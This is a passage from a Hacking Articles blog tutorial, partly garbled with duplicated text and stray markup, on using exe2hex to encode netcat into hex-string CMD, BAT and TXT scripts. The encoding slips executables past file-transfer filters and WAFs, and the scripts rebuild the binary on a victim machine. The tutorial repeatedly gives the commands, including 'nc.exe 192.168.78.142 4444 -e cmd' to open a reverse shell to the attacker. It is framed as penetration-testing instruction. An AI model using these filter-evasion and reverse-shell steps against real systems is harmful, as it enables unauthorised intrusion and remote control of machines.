3JRwLCifoa773h3GLutk7kxxh3xJuDrvN-ibtyy-qqd3wkIpE-f_AAM1m4EgVl7yrJZ7tHyVIoRCvSukFxLTatfytZnRDDgzYtNPLOR7qCWu3S_ETW3l-GlRLB5gmSYcDn5rprgHC33VH-Q=s16000 Now, one can rename the file easily in victim machine using command prompt or copy it as a different extension (runnable script) and then run like following:<o:p copy nc.txt nc.cmd<o:p@echo off<o:pnc.cmd<o:pnc.exe 192.168.78.142 4444 -e cmd<o:phttps://blogger.googleusercontent.com/img/a/AVvXsEiIRw0SVn__nxISghOD9VPP1A06sCetGdiEolFsmwJsdP6JkQLR_73pQ2n-YRKAYRw4NOiSOkRxbIplNYm-UIRG0kTkYNFqnHc-nLTDPQbHsq8t_w5ysOwRb4RIsrzkBgK-CjUm-zZybWfIVcuZ4tmc5EUHWlIA5nx6ziwW9chRJljxIPm4mZmPG6VV1g=s16000 If you tried the above-mentioned methods, you must set up a listener on your kali machine and try to run this executable. As you could see, the EXE file is working properly!<o:p https://blogger.googleusercontent.com/img/a/AVvXsEgLDH8GYZgvgPonaWCnoHdDAz8oiU5fAJR30BPQv8C05vfnQqty_V1WsxW4ft9st9yBOWigCnqArEQK5Q058AcxxaNqJbKPUBMhdmiXphsJkP3NSXpP43pkqiSiYgGgIYAaAWhEoqgrKcbA44cVsFzvHJAheLFmG_XotMWZikGVStQE3JA5xUgxoJaoTA=s16000 Conclusion<o:pOne sees many scenarios while pentesting where there are certain file upload/download filters either by proxy or WAF. We just presented a way to bypass those defense mechanisms using exe2hex. Hope you liked the article. Thanks for reading.<o:p

Hacking Articles
File Transfer Filter Bypass: Exe2Hex

IntroductionExe2hex is a tool developed by g0tmilk which can be found here. The tool transcribes EXE into a series of hexadecimal strings which can be restored into the original EXE file by using DEBUG.exe or Powershell. This script can then be executed at the victim machine to construct an exe again and execute it. This is helpful in advanced pentest scenarios where the system administrators have blocked transfer/download/upload/e-mail of EXE files. Pentesters can use this tool to bypass such filters. In this article, we demonstrate 4 such methods. Table of content* Background
* Exe2hex CMD script (PoSH method)
* Exe2hex URL encoded CMD script (PoSH method)
* Exe2hex BAT script (DEBUG.exe method)
* Exe2hex STDIN to CMD Script (PoSH method)
* Exe2hex TXT file (DEBUG and PoSH method)
* Conclusion BackgroundDEBUG.exe is a by default available executable in Windows that helps a user troubleshoot programs. It also has a feature where it can restore a series of hexadecimal strings into an executable file. The same can be achieved by Powershell. The methodology is very simple:

Step 1: Choose an EXE

Step 2: Compress it using UPX

Step 3: Use exe2hex to convert it into a file containing hexadecimal strings

Step 4: Transfer the file to the victim system

Step 5: Restore the file back to exe and execute

Let’s start by compressing an exe file. We will be using a tool called UPX.

https://blogger.googleusercontent.com/img/a/AVvXsEjyh4M9N3uVg0vhDlelzlEEiWQ1otcE_HfENLeOd_TC50XHz8TFTSdpwDVGRbMnChCEiyjzIAsgp2SUcx4zzkAZVDI8seVx4TblUmktY61EuAQhszOme1A00R_5Z-3tnid-S5APFOwjljnGZY3tF6g6i4bRYG0CepIjfVSRFwQ0kla3TZf_RPT6VKmzsw=s16000

As you can see there are many options to compress a file. We will be using -9 filter which provides 50% compression on average.
upx -h
cp /usr/share/windows-resources/binaries/nc.exe .
ls -lah nc.exe
upx -9 nc.exe
ls -lah nc.exe
https://blogger.googleusercontent.com/img/a/AVvXsEj8S7vY0XHsI5sbXQoS-3_0uSBIOhRjcQYVfXwRSTH-Ebdo1sHySpL_nd7DShEmBFBX4eTL9_NaTqjnEonBmDb5pgwyHtKl0OWkLBk0oTvjY5_7xUbB3onetSOxzuyAnG2-x6sMeWj3klUY4FaQ-7Zu2Usk6_NKdxPXT_gq4Lh2N41dQ1fLs0j-NcYcGw=s16000

Note: You can achieve the same thing by using -cc filter with the exe2hex tool. Exe2hex CMD script (PoSH method)Now that our exe has been compressed, we can use exe2hex to convert it into a cmd file. This cmd file has multiple hexadecimal strings as you can see below. A parameter P has been created which appends these converted hex strings into a temporary file called “nc.hex”
exe2hex -x nc.exe -p nc.cmd
head nc.cmd
https://blogger.googleusercontent.com/img/a/AVvXsEgmh5Ms1cde5ErdNTQmtTvxk87lNaGasSsBmTA0oZIvrs-YUvHh_6QFjgS7XNdt8ZVObcyBK1062LMik9AJhxPUra2xwXQQaJixW2-i5WXiQwN3N7Imkd6wlVnp686HTCyp-oO4KpJW7dOXYtVG3v09xSCXIUrt4j2c4PmTyD8zXY6tZetY2h-cfqOjew=s16000

At the end of the file, you can see a powershell command which is restoring the hex strings back into exe file and removing nc.hex
tail -n 3 nc.cmd
https://blogger.googleusercontent.com/img/a/AVvXsEg5w04aOLUNCrY9bm5O7OZjBdsGDnKqf73mA5il-kP4VnDecdRC9TR94-_eX_ndf0MjD214ELPt-HuV94UZXMWQPdvghzxbpux8g5T8k01wMf5tuvLSzLfFgFF0SK2rf5vqvY68lfzi7OfBHnoHm6v785pT3NdY3GfuvurHy1ftAxQEHJgg-oDJtsrwCQ=s16000 Exe2hex URL encoded CMD script (PoSH method)What we saw above can be repeated with a bonus. The same script can also be URL encoded with the -e option.
exe2hex -x nc.exe -e -p nc.cmd
head -n 5 nc.cmd
https://blogger.googleusercontent.com/img/a/AVvXsEirKp_eUg1_EdU2jI7ZdUueWzeijFbXeHdc66AMGCP3zPRXj0rCLgarQLpTwTPQM5AXbEDzXCDeMU8h84aHWvYa11kXgckiMXYMqEQ9xQsLHhPuv39rHG0XElzZLfbMRl8HPkxnUYHwCgDk2WxMXQv2zqSmG7MB3LgVz76BeiFn1JBZdDytZ2iPmIU8vQ=s16000

Now, we can transfer this CMD file to the victim system and execute it using the command prompt. As you may observe after the execu[...]

tion has finished, a nc.exe file is generated at the compressed size.
@echo off
nc.cmd
nc.exe 192.168.78.142 4444 –e cmd
https://blogger.googleusercontent.com/img/a/AVvXsEgz6u_Kzt8wfYCJx4M4e-qYC9m7EpQE6-vCeV1gv2UiHW47svkDe-B17V6xfSHF5ZQblVUFRZoj8-HbExqI9BMu5PVWvttd2qrxrfh0YdgUCxMZMBy0-NALgCg-epERi3xs10oM9dvA_v6PVOCFMZ0ack8WrpRgXIE_sdUKOG_7Fx_sdbi-T6q45YQXVw=s16000 Exe2hex BAT script (DEBUG.exe method)So far we have seen how powershell can be used to restore hex into exe file. In the same way, DEBUG.exe file can be used. Exe2hex can generate a bat file like so:
exe2hex -x nc.exe -b nc.bat
head -n 5 nc.bat
tail -n 7 nc.bat
https://blogger.googleusercontent.com/img/a/AVvXsEhGjQjuRL9f-Rs5v4G4jIuAVVZt7w8B11CWNmB7ZU9LVjStGaLlCILtTjM8UqrGAd1K2gMKtYpuPV5Ck19bH7F1LgCEfioib9yURj3q6fFLittSaIOlszr04o4EmMNM29Wbz3Uzu8s5iQU8t8f_3Svr7yqVvrs_CkdXi8DwjLjt-ASp1T4GzZLWhv2xsw=s16000

After that, you can run the bat script on windows and it will create an exe file. If it throws you an error, you need to add DEBUG.exe’s path in environment variables. As you can see, nc.exe has become an executable now.

https://blogger.googleusercontent.com/img/a/AVvXsEg3jEpnbR8iQMqvTHP2YvcNIKLTLKzfyux-MXC-nyUn9NKLKfRlU11xvpA6-UIpjLiaPcPYe7N_RjANxeqIAn008rgWkGU-bDl6K9iLJuTbhQDs_07HLQZmHp5o4y0IDFkPrQI3vW3zPKuf81k8fPopxZ7eS7pq-Ez2nZd8gdUxwsQbJ2MNaBuXHrEa4g=s16000 Exe2hex STDIN to CMD Script (PoSH method)The tool can also take input from STDIN. This could be useful in scenarios where an executable is available on the internet and it needs to be downloaded using tools such as curl/wget and filters are in place to block that.
cat nc.exe | exe2hex -s -b nc.bat -p nc.cmd
https://blogger.googleusercontent.com/img/a/AVvXsEiGsmb3n3Sy0HqS45wl9NNiw-009VA3w4j1heDH4voVX7XScfdp0paOpRDx4jScmaL3g-u_4W5coNqxE9oNloqC6THaxUdETRNaH3DXNiLcukL57qpLX4rzv_As_pFtDTdLQkyXoeKdEyRkhILQ-GaPHWKuBuyebybjOHbJpRy6XNooH_uNyzK__siQWA=s16000

The -s filter is responsible for reading from STDIN. The cmd file generated with this option looks a bit different as the file generated has the name “binary.hex” and the final exe file as “binary.exe”

https://blogger.googleusercontent.com/img/a/AVvXsEiltN0EU2kj3y4WJ8GApg7jJgvXgTJM9RJNw6OYRNvaOAx1J0y-v6QzsepGipaFxdY_lrz6XgJdOZyUNhBZGpU6Qw6H0SNiVLSl-O3DBieGAKflmo1VmkX-xNqCmT4TuKxSJK6lir4w2Km_dbWK1vscNldVxNMfVUwoT82diSxuCX6mYlmxopnopVMoXw=s16000

It can be run now!

https://blogger.googleusercontent.com/img/a/AVvXsEiY6NFaIZBlAqu09EnH55omoNuMQ62nY0Ga4AP94MMdLoYN2yU3Jvr3scJXKocQJrf5bgX46XVymEP-mQab3_vXGvICMo-6OArva48mZ27e4wcbHAkz1mu9C5o03IQ-KnH55_yCldjEXfXDimMxYXfC1rtpVTdJK7KRRcvDmKVwGFG3zY6U85M2wutywA=s16000 Exe2hex TXT file (DEBUG and PoSH method)We saved the best for last. The tool can also convert EXE files in hexadecimal strings txt files. This is highly useful for situations where advanced filters are in place.
exe2hex -x nc.exe -b nc.txt
head -n 5 nc.txt
exe2hex -x nc.exe -p nc.txt
head -n 5 nc.txt
https://blogger.googleusercontent.com/img/a/AVvXsEgesKIBgliot6TTl5-t5_Vla-ElY9uuxMyxmjm8Xk1EC2rLQkkZFddzzJUo2R0ef6I2NtP31jUixo3BZSj3IpiPGtXKdd6OxpOYuoBisRYcgFAHvOABp7o8Xx31iAmuxn_eEvRSKwi7LMbSjorKFXpcpjUiIO6jmaYvO_LPhT-jc6oZ0ql69EtY6a8JRQ=s16000

One other filter is the -l filter that specifies the number of bytes in each line.
exe2hex -x nc.exe -l 10 -p nc.txt
head -n 5 nc.txt
https://blogger.googleusercontent.com/img/a/AVvXsEiQy8UGd974YgebtPCN7_gdfftDvj_18y99ntvDGh4aXTb3JRwLCifoa773h3GLutk7kxxh3xJuDrvN-ibtyy-qqd3wkIpE-f_AAM1m4EgVl7yrJZ7tHyVIoRCvSukFxLTatfytZnRDDgzYtNPLOR7qCWu3S_ETW3l-GlRLB5gmSYcDn5rprgHC33VH-Q=s16000

Now, one can rename the file easily in the victim machine using a command prompt or copy it as a different extension (runnable script) and then run like following:
copy nc.txt nc.cmd
@echo off
nc.cmd
nc.exe 192.168.78.142 4444 -e cmd
https://blogger.googleusercontent.com/img/a/AVvXsEiIRw0SVn__nxISghOD9VPP1A06sCetGdiEolFsmwJsdP6JkQLR_73pQ2n-YRKAYRw4NOiSOkRxbIplNYm-UIRG0kT[...]